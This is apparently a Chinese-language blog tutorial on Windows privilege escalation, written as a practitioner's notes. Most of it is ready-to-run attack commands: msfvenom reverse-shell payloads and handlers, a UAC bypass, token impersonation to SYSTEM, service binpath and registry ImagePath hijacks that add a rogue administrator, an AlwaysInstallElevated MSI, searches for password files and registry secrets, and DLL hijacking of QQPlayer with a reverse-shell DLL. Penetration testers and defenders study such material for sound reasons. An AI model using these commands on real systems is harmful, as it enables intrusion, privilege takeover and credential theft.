前言

win提权也是告一段落了,最近一段时间感觉收获不多,人的惰性真可怕!!!

漏洞提权

在我粗浅的认知里巴西烤肉、pr几乎是我以前对提权的全部手段。。。其实这些都是属于利用漏洞提权。

winexp集合
https://github.com/SecWiki/windows-kernel-exploits

说到这里给大家介绍两款提权补丁对比工具非常方便

1、

https://www.uedbox.com/poc-patch-comparison-tool/

红色即为可用漏洞,缺点作者给提供的补丁信息很少需要手动导入更新。

2、Windows-Exploit-Suggester

自动更新下载漏洞库,自动比对筛选整理还把exp地址给列出来!!!一目了然

http://netsecurity.51cto.com/art/201704/537108.htm

(ps:这篇文章最坑的地方是明明是python2的脚本,文章里介绍用python3.3,真尼玛坑装半天环境!linux也有相应的版本。)

提权实例

msf生成木马反弹msfshell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=444 -f exe -o 444.exe 

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 192.168.19.128 set lport 444

win10过UAC

use exploit/windows/local/ask
set lhost 192.168.19.128
set lport 444
set filename win_update.exe 
set session 1


可以看到新的session已经弹回

msf里自带的bypassuac模块很少不太好用,这里推荐用Empire

ms16-075提权

use incognito
list_tokens -u
execute -cH -f ./potato.exe
impersonate_token "NT AUTHORITY\SYSTEM"


提权成功。据说新的 juicy potato更屌(http://www.freebuf.com/column/181549.html)

Windows错误系统配置

Trusted Service Paths

原理感觉上与win通配符找路径差不多的形式。

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

可以看到程序的执行顺序是以空格为界逐步尝试执行。找到以system权限执行并且带有空格目录的程序,构造木马名字以达到目的。

看到漏洞原因是开发者没有将文件路径以 “ 包裹,从原理上来说普通用户也是没有修复权限的。

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """

查看是否存在漏洞,找其中带有空格目录的就好。因为本地没有这样的漏洞所以就不进行进一步演示了。msf中也有相应的利用模块 trusted_service_path这个模块自动筛选出没有引号包含的服务,并且对列表中第一个服务上传木马重起服务最后删除木马返回提权的session。利用方法很简单不多做介绍。

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp

还有这样一款工具自动探测漏洞权限都列好很方便而且被整合到Empire中,可以直接利用。付上使用方法http://www.heresec.com/index.php/archives/123/

Vulnerable Services

事实上就是修改服务二进制文件去以较高权限执行我们的命令。

检测服务

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

之后查看服务配置信息

sc qc 服务名(test)
sc config test binpath= "net user rottenadmin P@ssword123! /add"
sc stop test
 start test
sc config test binpath= "net localgroup Administrators rottenadmin /add"
sc stop test
sc start test

同样最后我们要把服务改回原样。

修改注册表

直接用subinacl/AccessChk检测注册表

subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesService" /display
subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVulnerable Service" /display

如果有写入权限,用我们的恶意文件替换

reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesService" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /f
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /f

重起生效,Win server普通用户就有重起权限不过没有重起服务权限。

AlwaysInstallElevated

AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置,默认关闭。可以通过注册表查询。

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

不存在将报错,可以生成msf木马用msiexec在靶机上执行。

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:programdatarotten.msi

凭证窃取

主要是信息收集,讲道理以前总听人说信息收集占测试的大部分时间还不太理解,现在服了。

敏感文件/信息收集

unattend.xml
GPP.xml
SYSPREP.INF
sysprep.xml
其他各种配置文件
日志文件
注册表项
文件如my_passwords.txt,my_passwords.xls等

cmd

dir C:\*vnc.ini /s /b /c
dir C:\ /s /b /c | findstr /sr \*password\*
findstr /si password \*.txt | \*.xml | \*.ini
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

DLL劫持

win调用dll文件的时候会按照一定的顺序来

1. 程序所在目录;
2. 系统目录;
3. 16位系统目录;
4. Windows目录;
5. 当前目录;
6. PATH环境变量中的各个目录。

所以只要把恶意文件放在优先级大于原dll的目录中就会被优先加载。并且微软从VS2003/MFC7.0提供对Satellite DLL的增强支持,程序运行时MFC会寻找最适合本地环境的dll(主要是基于语言以命名规则寻找)

1.   ExampleFRC.dll(当前用户的界面语言,此例为加拿大法语);
2.   ExampleFRA.dll(当前用户的界面语言,不包含子语言,此例为法语(法国));
3.   ExampleENU.dll(系统默认的用户界面语言,此例为美国英语);
4.   ExampleLOC.dll。

也就是说中文情况下即使程序目录自带有test.dll,只要我们放入名为testCHS.dll的恶意木马依旧会被程序优先执行。

实例演示

用QQ影音进行测试,msf生成木马放到QQ影音(ver3.933)目录下。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.130 LPORT=1234 -a x86 -f dll > quserex.dll

双击QQPlayer.exe会调用程序目录中不存在的quserex.dll,而我们把同名木马上传到程序目录中,根据dll调用加载顺序会先调用我们的恶意木马达到攻击目的。

这里也是踩了几个坑,我换了三个版本的系统才成功,不过按理来说与win版本应该是没多大关系,可能是一些环境问题。还有就是dll劫持不能劫持一些程序启动必要的dll,否则程序启动失败也是GG。有兴趣的也可以尝试下quserex.dll、quserexchs.dll的优先级顺序。

附上安装包及视频教程

链接:https://pan.baidu.com/s/1QYyNZtCZY0Ra8PYGTVTpbg 密码:l7tg

参考链接:

https://www.anquanke.com/post/id/87011
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/5061.html
https://blog.csdn.net/tianyazm/article/details/78774602
http://www.freebuf.com/articles/system/131388.html
http://www.freebuf.com/vuls/87463.html
http://www.myh0st.cn/index.php/archives/245/
http://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html
https://security.tencent.com/index.php/blog/msg/20
https://www.anquanke.com/post/id/83229
http://blog.idhyt.com/2015/08/31/exploit-privilege-escalation-by-uac/
https://www.secpulse.com/archives/19691.html
http://www.cnblogs.com/hkleak/p/5155284.html